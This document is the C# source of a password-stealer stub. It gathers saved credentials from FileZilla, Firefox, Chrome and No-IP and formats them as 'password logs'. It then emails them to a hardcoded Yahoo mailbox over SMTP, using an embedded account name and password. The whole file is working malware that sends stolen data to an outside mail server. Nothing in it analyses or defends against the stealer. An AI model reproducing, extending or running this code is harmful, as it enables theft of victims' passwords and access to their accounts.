﻿using System;
using System.Collections.Generic;
using System.Windows.Forms;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Mail;
using System.Diagnostics;

namespace stealer_stub
{
    static class Program
    {
        private static string mailUser = "hartl8291@yahoo.com";
        private static string mailPass = "lbWQsTvQ";
        private static string mailSender = "hartl8291@yahoo.com";
        private static string mailReciever = "hartl8291@yahoo.com";
        private static string mailServer = "smtp.mail.yahoo.de";
        private static int mailServerPort = 25;

        /// <summary>
        /// Der Haupteinstiegspunkt für die Anwendung.
        /// </summary>
        [STAThread]
        static void Main()
        {
            List<string[]> results = new List<string[]>();
            results.AddRange(FileZilla_Stealer.FileZilla.getPWs());
            results.AddRange(Firefox_Stealer.Firefox.getPWs());
            results.AddRange(Chrome_Stealer.Chrome.getPWs());
            results.AddRange(NoIP_Stealer.NoIP.getPWs());

            sendMail("test", formatResults(results));
        }

        private static string formatResults(List<string[]> result)
        {
            StringBuilder sb = new StringBuilder("New password logs.\r\n\r\n");
            foreach (string[] res in result)
                sb.Append(string.Format(
                    "---------------------------\r\n" +
                    "Application: {0}\r\n" +
                    "Host: {1}\r\n" +
                    "User: {2}\r\n" +
                    "Pass: {3}\r\n" +
                    "---------------------------\r\n\r\n",
                    res[0], res[1], res[2], res[3]));
            return sb.ToString(); ;
        }

        private static bool sendMail(string subject, string text)
        {
            try
            {
                MailMessage msg = new MailMessage();
                MailAddress from = new MailAddress(mailSender);
                msg.To.Add(mailReciever);
                msg.From = from;
                msg.Subject = subject;
                msg.Body = text;
                SmtpClient smtp = new SmtpClient(mailServer, mailServerPort);
                NetworkCredential nc = new NetworkCredential(mailUser, mailPass);
                smtp.Credentials = nc;
                smtp.Send(msg);
            }
            catch (Exception ex)
            {
                if (Debugger.IsAttached)
                    MessageBox.Show(ex.ToString());
                Debug.Write(ex.ToString());
                return false;
            }
            return true;
        }
    }
}
